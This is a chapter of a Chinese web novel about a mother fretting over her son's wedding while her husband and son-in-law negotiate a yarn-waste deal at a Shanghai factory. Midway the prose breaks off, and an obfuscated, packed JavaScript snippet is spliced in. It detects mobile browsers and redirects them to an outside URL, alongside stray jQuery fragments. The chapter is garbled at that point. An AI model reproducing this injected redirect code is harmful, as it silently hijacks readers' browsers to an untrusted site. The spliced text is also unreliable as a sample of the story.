其实每家情况都是这样的,夫妻俩,一个风风火火的脾气,一个慢吞吞笃悠悠的性格,那操心的就是前者。
周家也是如此,平时就是费秋英说了算的,周父属于“蛮好,你定就行”的做派。
这回儿子结婚,费秋英是既担心时间定的仓促,来不及准备,又为自己在上工没法回家着急。
事情交代给丈夫了,但她怎么能放心哦,自己和他一张床上睡了那么多年,自己老公什么性格,她是最清楚的了,温吞水啊。
费秋英急啊,但女儿说现在办婚礼,你只要拿钱出来,没问题的。
以前结婚,烦在形式复杂,什么纳采、什么过礼、什么定良辰吉日……现在这些统统不需要,连和亲家沟通都不需要,去娶亲也不需要,多省事。
虽然有七天时间要请酒,但一切交给大厨,人家婚庆一条龙,省了多少麻烦啊,关键老妈你钱够不够?
尽管女儿这样劝她,费秋英还是一天一个电话打到岛上,周父每天给老婆汇报进展。
这天听到老公和女婿要去申城收纱头,气得她在电话里骂了周父一顿,这口气感觉还没出尽,又跑去李家,骂了李浩宇一顿,连带着对周迎春也骂了几句。
什么作为一个姐姐,唯一的亲兄弟结婚,一点不操心啊;什么鬼上头,出馊主意让自己到码头上工啊;什么父亲和老公出门做生意居然不劝阻啊……
看着老母亲嘴角的燎泡,周迎春也很心疼:“妈,爸爸和浩宇最多出去两天,就要回来的。你放心,文浩结婚的事,我放在心上呢,等爸和浩宇把这次生意做好,我和你一起去跟老板请假,你先回岛。”
这几天码头活还挺多,老板安排了几个人到学校去收废纸,尽管垃圾不多,但分拣的人被抽调了几个,活相对就忙多了,周迎春也不好意思让老妈现在请假回家。
但看老妈这个样子,还是觉得让她回岛比较合适。
费秋英听女儿这样说,也只能耐下心来,等周父回来。
其实周父已经把该办的差不多办好了,最重要的厨师兼婚礼一条龙服务也通过村长联系上了,确定了相关事宜,包括菜单,定金都付了。
这是结婚最重要的环节,这事定了,基本上就确定了一大半了。
所以他才有精力和女婿去申城。
两人先到的是大伯家,周父跟哥哥嫂子讲了文浩结婚的事情,请大哥一家一定要来喝喜酒。
“大哥,你和大嫂来岛上多住几天,我会给你们整理一间房间出来,你们在岛上兜兜,还可以出岛去东山玩玩。”
两家现在关系改善,大伯很高兴地就答应了。
下午和对方约好了,中午在大伯家吃了便饭就出发了。
这几年申城发展很快,浦东原来没人去的地方,现在已经变成高楼林立了,那家纺织厂就在浦东。
厂长很客气,说以前和大伯几个都是要好弟兄,本来自己厂里有常年合作的收纱头老板的,现在么,肯定是要卖给李浩宇的了。
但是,厂长还没等李浩宇翁婿俩表示感谢,就说价钱肯定不能便宜的,不然对手底下的人不好交代。
这言下之意李浩宇懂的,以前来收纱头的,也是通过关系来的,肯定也打点过的,现在说不给做就不给做了,还便宜的话,人家来个鱼死网破,大家都吃不了兜着走了。
厂长也是卖大伯面子,但毕竟不是自己亲戚,把生意让给你做已经很好了。
“行,谢谢厂长。我们就是来结交朋友的,老话说,生意么,多做做少赚赚,有个辛苦钱,我们已经很满意了。”李浩宇表态。
于是跟着后勤科长去仓库,也是一仓库货物,翁婿俩简单地查了一下,纱头质量不错,点头示意谈价钱。
后勤科长姓宋,接过李浩宇递过来的烟,别在耳朵上:“厂区可不能吸烟。这价钱么,刚才厂长吩咐了,不能低于前面卖的价格,这样,去年的是一口价一万。今年纱头涨价了,但我们废纱还是按原来的价钱给你。”
李浩宇心想,一万的话,卖给莫老板,就是一万二,刨除运费、交通费、打点的等等,那就赚不了多少钱了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13416270|141323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“不好意思啊,您稍等,我打个电话。”
李浩宇打了招呼,走到一边给莫老板打电话,电话接通后,李浩宇将这边的情况讲了一下,完了说道:“莫哥,一万二的纱头,我拿手里就开始亏钱。
不拿吧,也心痛,毕竟这条路子,能打通不容易,前期也投入不少。
现在我就是猴子拿到粒姜——闻闻香,咬一口辣。
这边领导跟我讲,今年纱涨价了不少,我就想问问,你能不能给我个实在价,如果不亏,我就带回家,譬如来申城游玩一次,赚钱是不想了。
如果你这边不能抛高点,那我就只能忍痛放弃了。”
电话里,莫老板急忙安慰李浩宇:“兄弟,别轻易放弃啊,打通一个关系好不容易的对吧,老哥理解你的。
年后是涨价了,但那不是纱头涨价,或者说纱头还没开始涨。
这样,哥哥好歹有个仓库,我就在手里多放些日子,等涨价了再出手,所以你还是把这些纱头运回来吧。
这样,哥哥给你一车六千五好吧?稍微涨点,这也就是你了,别人我可不会涨价的。你看你这一趟出门,不说挣钱吧,至少不亏,但压力全给到哥哥我了,我还要垫钱,万一两三个月以后纱头不涨价,这批货就在我手里咂了,是吧?
但谁叫我俩感情好呢,我,你莫哥,就愿意和你合作,哪怕亏了,也没有怨言,你放心,哥一言九鼎,运回来就是了。”
李浩宇心里有数了,又回去跟后勤科长谈价钱:“宋科长,刚才问了我下家,说是今年涨价的是前道生产的纱,但仓库里的纱头还没听到涨价的风声,您看这价钱……”
说着摸出一包红塔山,塞给宋科长:“便宜香烟,你自己抽,自己抽。”
宋科长假意推脱一下,接过香烟,一看,包装已经被动过,歪着头斜着眼用小拇指指甲挑开一条缝,看见里面的颜色,马上眯眼笑了起来:“好说好说,你还不知道吧,老周我也认识的,他是我们纺织界的这个。”
说着伸出大拇指,这是指大伯。